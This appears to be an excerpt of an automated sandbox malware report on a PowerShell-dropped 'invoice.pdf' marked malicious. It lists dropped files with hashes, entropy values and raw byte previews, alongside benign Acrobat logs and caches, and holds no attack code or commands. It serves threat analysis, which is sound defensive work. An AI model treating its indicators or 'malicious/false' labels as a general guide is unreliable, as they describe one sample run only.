Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:Nlllullkv/tz:NllU+v/
MD5:	6442F277E58B3984BA5EEE0C15C0C6AD
SHA1:	5343ADC2E7F102EC8FB6A101508730898CB14F57
SHA-256:	36B765624FCA82C57E4C5D3706FBD81B5419F18FC3DD7B77CD185E6E3483382D
SHA-512:	F9E62F510D5FB788F40EBA13287C282444607D2E0033D2233BC6C39CA3E1F5903B65A07F85FA0942BEDDCE2458861073772ACA06F291FA68F23C765B0CA5CA17
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI216a8.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5085442896850614
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClERwH:Qw946cPbiOxDlbYnuRK+bDs
MD5:	D0EBBAC5F9F2CE81B72F25B11AF85BB4
SHA1:	B90A156A8C02B6DF89EDE626A9B388723155C9CF
SHA-256:	184DD233A1B96BCC9DC4DD26EB00EEDC8EB743D5F1305B5DEA3B5904F5DB3375
SHA-512:	03FB6AD3042832118B0CAFD0D95AA103BBED54C8397474A94CFBE115B2A514D1ECC171D57A9D5CEF7B43DD742253AA062DB25F353BF56087F9640032EF4BBCC7
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.4.:.2.3.:.5.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hkgrchjd.wn2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kznui4ry.cuk.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91seft9s_88i2f2_4u0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A91t7ecm5_88i2f1_4u0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 14-23-45-702.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.357705798008376
Encrypted:	false
SSDEEP:	384:xVpQq6vAxhOtQ9S1VL899O1Yjd6w2LPW7sa4eKIrrD1vfute+JBq1i1QhbBLQjD9:j3k
MD5:	D99233FFCAA3D764158CBA6ACD4BDC80
SHA1:	C76CA07FD966547C88E68378C9C3B443F298E2BB
SHA-256:	9DF1BD26CE39E1EBFAFCA411F8536F79973B946A295B355D3615FAF75AE38A1C
SHA-512:	71AB648CD70EC3FBAD3A0770CE4594D618A970E1AB348BCE8C688057F6E52C1564D5DDFF1C85AEC9C3A4725FD822E990B8CD6AAD14C0F5CDF369894F54D30954
Malicious:	false
Preview:	SessionID=b12b658e-7c51-4617-b979-5d2fd5ef0d65.1736537025787 Timestamp=2025-01-10T14:23:45:787-0500 ThreadID=7644 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=b12b658e-7c51-4617-b979-5d2fd5ef0d65.1736537025787 Timestamp=2025-01-10T14:23:45:792-0500 ThreadID=7644 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=b12b658e-7c51-4617-b979-5d2fd5ef0d65.1736537025787 Timestamp=2025-01-10T14:23:45:792-0500 ThreadID=7644 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=b12b658e-7c51-4617-b979-5d2fd5ef0d65.1736537025787 Timestamp=2025-01-10T14:23:45:792-0500 ThreadID=7644 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=b12b658e-7c51-4617-b979-5d2fd5ef0d65.1736537025787 Timestamp=2025-01-10T14:23:45:795-0500 ThreadID=7644 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.393578511845766
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcbXacbuIq4cbR:V3fOCIdJDexXqH
MD5:	E71ABE5784367A8CDCBE3D9EC2EA12F9
SHA1:	136F0DD2CF79521F68A4ED6167C196AD940CCDC7
SHA-256:	9F0C20EA6A2453D48A0567ABBF1EA3C70975A03D0FA7C24E43E31638AE1CBAB0
SHA-512:	424BBC8EC8E9B1FD1B76BE6310A40E035010273CE7044E19044BB9D5A3477AE783174324BAE45BC8B8729CD45362521BD93C0FD9E03E516415C08C3167E911AC
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\26d0592a-f75b-4289-be26-961a5974ff04.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\2cab077e-ee33-47ec-9885-340574f412c5.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/x3wYIGNPoeWL07oYGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:J3wZG7WLxYGZN3mlind9i4ufFXpAXkru
MD5:	90BC08801D5C38298C38220F068BB71B
SHA1:	04902217D74FF32FF9758DF523F77571F1550BE3
SHA-256:	7F818229ADE01F6F4A0E540AECBA0C15FEFA46634C0362590276E1AF82703C93
SHA-512:	9D1A6C1E64009BD83D727919C018118A19201297C0E5BA5708695DB91DF1BD7F92A7A6FA4A122B2878F2F6DBD7F2C73A5110E486B3BF17793ADED42D9DF2E873
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\63091413-f260-4633-898d-f8cc226a5e0c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\c5dc5033-99b1-45d9-ba28-e0db12b8dd78.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
